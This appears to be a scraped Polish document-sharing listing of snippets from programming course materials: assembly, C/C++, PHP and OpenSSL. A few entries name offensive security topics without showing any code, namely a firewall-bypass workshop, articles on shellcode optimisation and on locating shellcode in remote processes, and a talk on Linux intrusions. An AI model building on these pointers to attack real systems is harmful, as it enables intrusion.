Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 11: Procedury zaawansowane Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Ramki stosu Rekurencja INVOKE, ADDR, PROC,

Bardziej szczegółowo

Pobieranie argumentów wiersza polecenia

Pobieranie argumentów wiersza polecenia Pobieranie argumentów wiersza polecenia 2. Argumenty wiersza polecenia Lista argumentów Lista argumentów zawiera cały wiersz poleceń, łącznie z nazwą programu i wszystkimi dostarczonymi argumentami. Przykłady:

Bardziej szczegółowo

Ćwiczenie nr 6. Programowanie mieszane

Ćwiczenie nr 6. Programowanie mieszane Ćwiczenie nr 6 Programowanie mieszane 6.1 Wstęp Współczesne języki programowania posiadają bardzo rozbudowane elementy językowe, co pozwala w większości przypadków na zdefiniowanie całego kodu programu

Bardziej szczegółowo

Przedmiot : Programowanie w języku wewnętrznym. Ćwiczenie nr 4

Przedmiot : Programowanie w języku wewnętrznym. Ćwiczenie nr 4 Przedmiot : Programowanie w języku wewnętrznym Ćwiczenie nr 4 str. 1. 1. Użycie Asemblera. Polecenie JMP. Polecenie nakazuje procesorowi wykonywanie kodu programu od nowego innego miejsca. Miejsce to jest

Bardziej szczegółowo

Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych

Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych Ćwiczenie nr 3 Wyświetlanie i wczytywanie danych 3.1 Wstęp Współczesne komputery przetwarzają dane zakodowane za pomocą ciągów zerojedynkowych. W szczególności przetwarzane liczby kodowane są w systemie

Bardziej szczegółowo

Omijanie firewalli w systemach Windows ---warsztaty --- Mateusz Drygas, Marcin Jerzak, Jakub Tomaszewski, Zespół Bezpieczeństwa PCSS Poznań, 18.06 06.2009 1 Agenda 10:00 Rozpoczęcie, powitanie uczestników,

Bardziej szczegółowo

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24 Wymagania proceduralnych języków wysokiego poziomu ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH modele programowe procesorów ASK MP.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad.

Bardziej szczegółowo

Zasady programowania Dokumentacja

Zasady programowania Dokumentacja Marcin Kędzierski gr. 14 Zasady programowania Dokumentacja Wstęp 1) Temat: Przeszukiwanie pliku za pomocą drzewa. 2) Założenia projektu: a) Program ma pobierać dane z pliku wskazanego przez użytkownika

Bardziej szczegółowo

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 4: Architektura i zarządzanie pamięcią IA-32 Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Tryby pracy Rejestry

Bardziej szczegółowo

Optymalizacja szelkodów w Linuksie

Optymalizacja szelkodów w Linuksie Optymalizacja szelkodów w Linuksie Michał Piotrowski Artykuł opublikowany w numerze 4/2005 magazynu hakin9. Zapraszamy do lektury całego magazynu. Wszystkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie

Bardziej szczegółowo

[ Odnajdywanie shellcodu w procesach zdalnych. ]

[ Odnajdywanie shellcodu w procesach zdalnych. ] [ Odnajdywanie shellcodu w procesach zdalnych. ] Autor: Krystian Kloskowski (h07) -http://milw0rm.com/author/668 -http://www.h07.int.pl 0x00 [INTRO] Do właściwego zrozumienia treści tego

Bardziej szczegółowo

Podstawy programowania C. dr. Krystyna Łapin http://www.mif.vu.lt/~moroz/c/

Podstawy programowania C. dr. Krystyna Łapin http://www.mif.vu.lt/~moroz/c/ Podstawy programowania C dr. Krystyna Łapin http://www.mif.vu.lt/~moroz/c/ Tematy Struktura programu w C Typy danych Operacje Instrukcja grupująca Instrukcja przypisania Instrukcja warunkowa Struktura

Bardziej szczegółowo

Niezwykłe tablice Poznane typy danych pozwalają przechowywać pojedyncze liczby. Dzięki tablicom zgromadzimy wiele wartości w jednym miejscu.

Niezwykłe tablice Poznane typy danych pozwalają przechowywać pojedyncze liczby. Dzięki tablicom zgromadzimy wiele wartości w jednym miejscu. Część XIX C++ w Każda poznana do tej pory zmienna może przechowywać jedną liczbę. Jeśli zaczniemy pisać bardziej rozbudowane programy, okaże się to niewystarczające. Warto więc poznać zmienne, które mogą

Bardziej szczegółowo

Funkcja (podprogram) void

Funkcja (podprogram) void Funkcje Co to jest funkcja? Budowa funkcji Deklaracja, definicja i wywołanie funkcji Przykłady funkcji definiowanych przez programistę Przekazywanie argumentów do funkcji Tablica jako argument funkcji

Bardziej szczegółowo

Opisy funkcji /html_node/libc_528.html

Opisy funkcji /html_node/libc_528.html Opisy funkcji Adres strony WWW : http://www.gnu.org/software/libc/manual/html_node/index. html (należy odszukać hyperlink Function Index) (http://www.gnu.org/manual/manual.html) http://www.gnu.org/manual/glibc-

Bardziej szczegółowo

Podstawy Informatyki sem. I 2014/2015 studia zaoczne Elektronika i Telekomunikacja!

Podstawy Informatyki sem. I 2014/2015 studia zaoczne Elektronika i Telekomunikacja! Podstawy Informatyki sem. I 2014/2015 studia zaoczne Elektronika i Telekomunikacja! Krzysztof Grudzień kgrudzi@kis.p.lodz.pl! Zbigniew Chaniecki zch@kis.p.lodz.pl 1 program zajęć - wykład Podstawowe pojęcia

Bardziej szczegółowo

DANE TEKSTOWE W JĘZYKU C/C++ - TABLICE ZNAKOWE

DANE TEKSTOWE W JĘZYKU C/C++ - TABLICE ZNAKOWE DANE TEKSTOWE W JĘZYKU C/C++ - TABLICE ZNAKOWE Stała tekstowa / łańcuchowa jest tablicą znaków zakończoną znakiem o kodzie: 0 np. stała łańcuchowa: Jestem tekstem ASCII... J e s t e m t e k s t e m \0...

Bardziej szczegółowo

Język ludzki kod maszynowy

Język ludzki kod maszynowy Język ludzki kod maszynowy poziom wysoki Język ludzki (mowa) Język programowania wysokiego poziomu Jeśli liczba punktów jest większa niż 50, test zostaje zaliczony; w przeciwnym razie testu nie zalicza

Bardziej szczegółowo

x szereg(x)

x szereg(x) Wstęp do Programowania, laboratorium 09 Zadanie 1. Zrobić program liczący wartość funkcji sin(x) przy pomocy rozwinięcia w szereg. Zakres wartości x (od, do) oraz liczba przedziałów podawane będą jako

Bardziej szczegółowo

2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch

2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH: Instrukcja do laboratorium 4, (2x2h) Opracowanie i prowadzenie: dr inż. Ignacy Pardyka, Uniwersytet Jana Kochanowskiego w Kielcach Temat: Architektura MIPS: wywołanie

Bardziej szczegółowo

Wstęp do programowania 1

Wstęp do programowania 1 Wstęp do programowania 1 Argumenty funkcji main Bożena Woźna-Szcześniak bwozna@gmail.com Jan Długosz University, Poland Wykład 11 Argumenty funkcji main dwa równoważne sposoby int main(int argc, char*

Bardziej szczegółowo

Funkcje printf() i scanf() i operatory

Funkcje printf() i scanf() i operatory Funkcje printf() i scanf() i operatory Elwira Wachowicz elwira@ifd.uni.wroc.pl 4 kwietnia 2013 Elwira Wachowicz (elwira@ifd.uni.wroc.pl) Funkcje printf() i scanf() i operatory 4 kwietnia 2013 1 / 23 Łańcuch

Bardziej szczegółowo

Krótkie wprowadzenie do korzystania z OpenSSL

Krótkie wprowadzenie do korzystania z OpenSSL Krótkie wprowadzenie do korzystania z OpenSSL Literatura: http://www.openssl.org E. Rescola, "An introduction to OpenSSL Programming (PartI)" (http://www.linuxjournal.com/article/4822) "An introduction

Bardziej szczegółowo

۰ Elementem jednostkowym takiego pliku jest bajt. ۰ Format pliku binarnego: [bajty pliku][eof]

۰ Elementem jednostkowym takiego pliku jest bajt. ۰ Format pliku binarnego: [bajty pliku][eof] 1 Plik jest wydzielonym fragmentem pamięci (najczęściej dyskowej) posiadającym nazwę. Z punktu widzenia C plik jest ciągiem bajtów, z których każdy może zostać oddzielnie odczytany. Zgodnie ze standardem

Bardziej szczegółowo

Napisy w PHP. Drukowanie napisów instrukcją echo

Napisy w PHP. Drukowanie napisów instrukcją echo Napisy w PHP. Drukowanie napisów instrukcją echo 1. Ćwiczenia do samodzielnego wykonania Wszystkie poniższe ćwiczenia należy samodzielnie wykonać wpisując w edytorze bez stosowania techniki kopiuj-wklej.

Bardziej szczegółowo

Architektura komputerów

Architektura komputerów Architektura komputerów Wykład 3 Jan Kazimirski 1 Podstawowe elementy komputera. Procesor (CPU) 2 Plan wykładu Podstawowe komponenty komputera Procesor CPU Cykl rozkazowy Typy instrukcji Stos Tryby adresowania

Bardziej szczegółowo

Laboratorium 6: Ciągi znaków. mgr inż. Leszek Ciopiński dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski

Laboratorium 6: Ciągi znaków. mgr inż. Leszek Ciopiński dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski Laboratorium 6: Ciągi znaków mgr inż. Leszek Ciopiński dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski 17 listopada 2016 1. Wprowadzenie Instrukcja poświęcona jest zmiennym, które służą do przechowywania

Bardziej szczegółowo

1 Podstawy c++ w pigułce.

1 Podstawy c++ w pigułce. 1 Podstawy c++ w pigułce. 1.1 Struktura dokumentu. Kod programu c++ jest zwykłym tekstem napisanym w dowolnym edytorze. Plikowi takiemu nadaje się zwykle rozszerzenie.cpp i kompiluje za pomocą kompilatora,

Bardziej szczegółowo

Temat 1: Podstawowe pojęcia: program, kompilacja, kod

Temat 1: Podstawowe pojęcia: program, kompilacja, kod Temat 1: Podstawowe pojęcia: program, kompilacja, kod wynikowy. Przykłady najprostszych programów. Definiowanie zmiennych. Typy proste. Operatory: arytmetyczne, przypisania, inkrementacji, dekrementacji,

Bardziej szczegółowo

CPU. Architektura FLAGS Bit: dr Paweł Kowalczyk; DPTNS, KFCS UŁ. SI 16 bit. 16 bit. 16 bit.

CPU. Architektura FLAGS Bit: dr Paweł Kowalczyk; DPTNS, KFCS UŁ. SI 16 bit. 16 bit. 16 bit. Architektura 8086 8086 posiada 4 rejestry ogólnego użytku AX, BX, CX, DX, 2 rejestry indeksowe SI, DI, 3 rejestry wskaźnikowe SP, BP, IP, 4 rejestry segmentowe CS, DS, SS i ES oraz rejestr flag FLAG AH

Bardziej szczegółowo

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech BAZY DANYCH Obsługa bazy z poziomu języka PHP opracowanie: Michał Lech Plan wykładu 1. PHP - co to jest? 2. Bazy danych obsługiwane przez PHP 3. Podstawowe polecenia 4. Sesje 5. Przykład - dodawanie towaru

Bardziej szczegółowo

Program 14. #include #include using namespace std;

Program 14. #include <iostream> #include <ctime> using namespace std; Program 14 Napisać: * funkcję słuŝącą do losowego wypełniania tablicy liczbami całkowitymi z podanego zakresu (*). Parametrami funkcji mają być tablica, jej długość oraz dwie liczby stanowiące krańce przedziału

Bardziej szczegółowo

Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Ćwiczenie 1. Podstawy. Wprowadzenie do programowania w języku C. Katedra Metrologii AGH

Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Ćwiczenie 1. Podstawy. Wprowadzenie do programowania w języku C. Katedra Metrologii AGH Laboratorium Podstaw Informatyki Kierunek Elektrotechnika Ćwiczenie 1 Podstawy Wprowadzenie do programowania w języku C Kraków 2010 Twój pierwszy program w C Program w języku C, jak i w wielu innych językach

Bardziej szczegółowo

Adam Kotynia, Łukasz Kowalczyk

Adam Kotynia, Łukasz Kowalczyk Adam Kotynia, Łukasz Kowalczyk Dynamiczna alokacja pamięci Alokacja pamięci oraz dezalokacja pamięci jest to odpowiednio przydział i zwolnienie ciągłego obszaru pamięci. Po uruchomieniu, proces (program)

Bardziej szczegółowo

Programowanie hybrydowe C (C++) - assembler. MS Visual Studio Inline Assembler

Programowanie hybrydowe C (C++) - assembler. MS Visual Studio Inline Assembler Programowanie hybrydowe C (C++) - assembler MS Visual Studio Inline Assembler Wprowadzenie Możliwość wprowadzania kodu asemblerowego bezpośrednio w kodzie źródłowym w języku C lub C++ Nie wymagany MASM

Bardziej szczegółowo

Warszawa dnia 2 stycznia 2011 r. Zbiór zadań z programowania w języku C do samodzielnego wykonania

Warszawa dnia 2 stycznia 2011 r. Zbiór zadań z programowania w języku C do samodzielnego wykonania Warszawa dnia 2 stycznia 2011 r. Przedmioty: Wstęp do programowania Wstęp do informatyki Zbiór zadań z programowania w języku C do samodzielnego wykonania Prowadzący; dr inż. Stanisław Wszelak Ćwiczenie

Bardziej szczegółowo

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 7- sem.iii. M. Czyżak

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 7- sem.iii. M. Czyżak Katedra Elektrotechniki Teoretycznej i Informatyki wykład 7- sem.iii M. Czyżak Język C tablice znaków Tablice znaków (łańcuchy) Tablice znaków stanowią specjalny rodzaj tablic o budowie ułatwiającej przetwarzanie

Bardziej szczegółowo

wykład II uzupełnienie notatek: dr Jerzy Białkowski Programowanie C/C++ Język C - funkcje, tablice i wskaźniki wykład II dr Jarosław Mederski Spis

wykład II uzupełnienie notatek: dr Jerzy Białkowski Programowanie C/C++ Język C - funkcje, tablice i wskaźniki wykład II dr Jarosław Mederski Spis i cz. 2 Programowanie uzupełnienie notatek: dr Jerzy Białkowski 1 i cz. 2 2 i cz. 2 3 Funkcje i cz. 2 typ nazwa ( lista-parametrów ) { deklaracje instrukcje } i cz. 2 typ nazwa ( lista-parametrów ) { deklaracje

Bardziej szczegółowo

Dr inż. Grażyna KRUPIŃSKA. D-10 pokój 227 WYKŁAD 7 WSTĘP DO INFORMATYKI

Dr inż. Grażyna KRUPIŃSKA. D-10 pokój 227 WYKŁAD 7 WSTĘP DO INFORMATYKI Dr inż. Grażyna KRUPIŃSKA Grazyna.Krupinska@fis.agh.edu.pl D-10 pokój 227 WYKŁAD 7 WSTĘP DO INFORMATYKI Wyrażenia 2 Wyrażenia w języku C są bardziej elastyczne niż wyrażenia w jakimkolwiek innym języku

Bardziej szczegółowo

#include int main( ) { int x = 10; long y = 20; double s; s = x + y; printf ( %s obliczen %d + %ld = %f, Wynik, x, y, s ); }

#include <stdio.h> int main( ) { int x = 10; long y = 20; double s; s = x + y; printf ( %s obliczen %d + %ld = %f, Wynik, x, y, s ); } OPERACJE WEJŚCIA / WYJŚCIA Funkcja: printf() biblioteka: wysyła sformatowane dane do standardowego strumienia wyjściowego (stdout) int printf ( tekst_sterujący, argument_1, argument_2,... ) ;

Bardziej szczegółowo

Instytut Teleinformatyki

Instytut Teleinformatyki Instytut Teleinformatyki Wydział Fizyki, Matematyki i Informatyki Politechnika Krakowska Systemy Czasu Rzeczywistego Programowanie wyświetlacza graficznego LCD laboratorium: 01 autor: mgr inż. Paweł Pławiak

Bardziej szczegółowo

Podział programu na moduły

Podział programu na moduły Materiały Podział programu na moduły Informatyka Szczegółowe informacje dotyczące wymagań odnośnie podziału na moduły: http://www.cs.put.poznan.pl/wcomplak/bfiles/c_w_5.pdf Podział programu na moduły pozwala

Bardziej szczegółowo

Programowanie strukturalne język C - wprowadzenie

Programowanie strukturalne język C - wprowadzenie Programowanie strukturalne język C - wprowadzenie Dr inż. Sławomir Samolej D102 C, tel: 865 1766, email: ssamolej@prz-rzeszow.pl WWW: ssamolej.prz-rzeszow.pl Cechy programowania strukturalnego Możliwość

Bardziej szczegółowo

KURS C/C++ WYKŁAD 1. Pierwszy program

KURS C/C++ WYKŁAD 1. Pierwszy program KURS C/C++ WYKŁAD 1 Pierwszy program Tworzenie programu odbywa sie w dwóch etapach: 1. opracowanie kodu źródłowego 2. generowanie kodu wynikowego Pierwszy etap polega na zapisaniu algorytmu za pomocą instrukcji

Bardziej szczegółowo

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 9 - sem.iii. Dr inż. M. Czyżak

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 9 - sem.iii. Dr inż. M. Czyżak Katedra Elektrotechniki Teoretycznej i Informatyki wykład 9 - sem.iii Dr inż. M. Czyżak Język ANSI C tablice znaków Tablice znaków (łańcuchy) Tablice znaków stanowią specjalny rodzaj tablic o budowie ułatwiającej

Bardziej szczegółowo

KURS C/C++ WYKŁAD 6. Wskaźniki

KURS C/C++ WYKŁAD 6. Wskaźniki Wskaźniki KURS C/C++ WYKŁAD 6 Każda zmienna ma unikalny adres wskazujący początkowy obszar pamięci zajmowany przez tą zmienną. Ilość pamięci zajmowanej przez zmienną zależy od typu zmiennej. Adres można

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.06 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.06 Rok akad.

Bardziej szczegółowo

Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl)

Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl) Włamania do systemów w Linux Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl) Włamania do systemów w Linux Dlaczego Linux? Jądro 2.4 a 2.6 Włamania do systemów

Bardziej szczegółowo

12. OPERACJE NA PLIKACH

12. OPERACJE NA PLIKACH 12. OPERACJE NA PLIKACH PHP, jako język skryptowy moŝe wykonywać się po stronie serwera, w tym takŝe wykonywać operację na plikach. W lekcji z pętlami mieliśmy juŝ przypadek pobrania z pliku odpowiednich

Bardziej szczegółowo

Podstawy informatyki. Informatyka stosowana - studia niestacjonarne. Grzegorz Smyk. Wydział Inżynierii Metali i Informatyki Przemysłowej

Podstawy informatyki. Informatyka stosowana - studia niestacjonarne. Grzegorz Smyk. Wydział Inżynierii Metali i Informatyki Przemysłowej Podstawy informatyki Informatyka stosowana - studia niestacjonarne Grzegorz Smyk Wydział Inżynierii Metali i Informatyki Przemysłowej Akademia Górniczo Hutnicza im. Stanisława Staszica w Krakowie, rok

Bardziej szczegółowo

Lista 2. int porownaj_liczby_normalnie(const int a, const int b) { if(a==b) return 0; if(a>b)return1; return-1; }

Lista 2. int porownaj_liczby_normalnie(const int a, const int b) { if(a==b) return 0; if(a>b)return1; return-1; } Lista 2 Poniższe zadania mają na celu jedynie pomoc w szlifowaniu umiejętności logicznego myślenia, analizowania i rozwiązywania pewnych zagadnienień algorytmicznych. Zadanie 1. W algorytmach opartych

Bardziej szczegółowo

Procesy. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 9 października 2011

Procesy. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 9 października 2011 Procesy Systemy Operacyjne 2 laboratorium Mateusz Hołenko 9 października 2011 Plan zajęć 1 Procesy w systemie Linux proces procesy macierzyste i potomne procesy zombie i sieroty 2 Funkcje systemowe pobieranie

Bardziej szczegółowo

Programowanie strukturalne i obiektowe

Programowanie strukturalne i obiektowe Programowanie strukturalne i obiektowe Język C część I Opracował: Grzegorz Flesik Literatura: A. Majczak, Programowanie strukturalne i obiektowe, Helion, Gliwice 2010 P. Domka, M. Łokińska, Programowanie

Bardziej szczegółowo

dr inż. Paweł Myszkowski Wykład nr 8 (22.04.2015)

dr inż. Paweł Myszkowski Wykład nr 8 (22.04.2015) dr inż. Paweł Myszkowski Politechnika Białostocka Wydział Elektryczny Elektronika i Telekomunikacja, semestr II, studia stacjonarne I stopnia Rok akademicki 2014/2015 Wykład nr 8 (22.04.2015) Plan prezentacji:

Bardziej szczegółowo

Elementy języka C. ACprogramislikeafastdanceonanewlywaxeddancefloorbypeople carrying razors.

Elementy języka C. ACprogramislikeafastdanceonanewlywaxeddancefloorbypeople carrying razors. Wykład 3 ACprogramislikeafastdanceonanewlywaxeddancefloorbypeople carrying razors. Waldi Ravens J. Cichoń, P. Kobylański Wstęp do Informatyki i Programowania 75 / 146 deklaracje zmiennych instrukcja podstawienia

Bardziej szczegółowo

W języku C dostępne są trzy instrukcje, umożliwiające tworzenie pętli: for, while oraz do. for (w1;w2;w3) instrukcja

W języku C dostępne są trzy instrukcje, umożliwiające tworzenie pętli: for, while oraz do. for (w1;w2;w3) instrukcja Pętle W języku C dostępne są trzy instrukcje, umożliwiające tworzenie pętli: for, while oraz do. Instrukcja for ma następującą postać: for (w1;w2;w3) instrukcja w1, w2, w3 są wyrażeniami Schemat blokowy

Bardziej szczegółowo

Architektura komputerów. Asembler procesorów rodziny x86

Architektura komputerów. Asembler procesorów rodziny x86 Architektura komputerów Asembler procesorów rodziny x86 Architektura komputerów Asembler procesorów rodziny x86 Rozkazy mikroprocesora Rozkazy mikroprocesora 8086 można podzielić na siedem funkcjonalnych

Bardziej szczegółowo